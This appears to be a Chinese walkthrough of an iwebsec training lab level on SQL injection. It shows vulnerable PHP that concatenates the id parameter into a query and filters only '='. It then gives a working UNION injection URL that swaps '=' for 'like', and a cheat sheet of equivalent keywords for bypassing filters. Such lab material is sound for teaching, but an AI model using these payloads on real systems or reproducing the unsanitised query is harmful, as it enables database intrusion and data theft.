iwebsec sql-等价函数替换过滤绕过

12-等价函数替换过滤绕过

打开如下：

分析代码：

<?php
  if(isset($_GET['id'])){
	if (preg_match('/=/', $_GET["id"])) {
		die("ERROR");
	}else{
		$id=$_GET['id'];
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
  }else{
		exit();
	}
	if ($result) {
		?>
		<table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
		<?php
		while ($row = mysql_fetch_assoc($result)) {
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
		}
		echo "</table>";
	}
	else
	{
//	echo '<font color= "#FFFFFF">';
	print_r(mysql_error());
//	echo "</font>";
	}

?>

preg_match 函数过滤了 = ，可以考虑等价绕过

构造注入语句：

http://localhost:8050/sqli/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()

等价关键字大全：

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

updatexml、extractvalue() ==> polygon()

@@user ==> user()

@@datadir ==> datadir()

and ==> &&

or ==> ||

not ==> !

xor ==> |

= ==> like,rlike,regexp

!= ==> <>

limit 0,1 ==> limit 1 offset 0

union select ==> union select * from (select 1)a join (select 2)b

’‘ ==> ""

'admin' ==> 0x61646D696E

select * from users where id = 1 order 4 ==> select * from users where id = 1 into @a,@b,@c,@d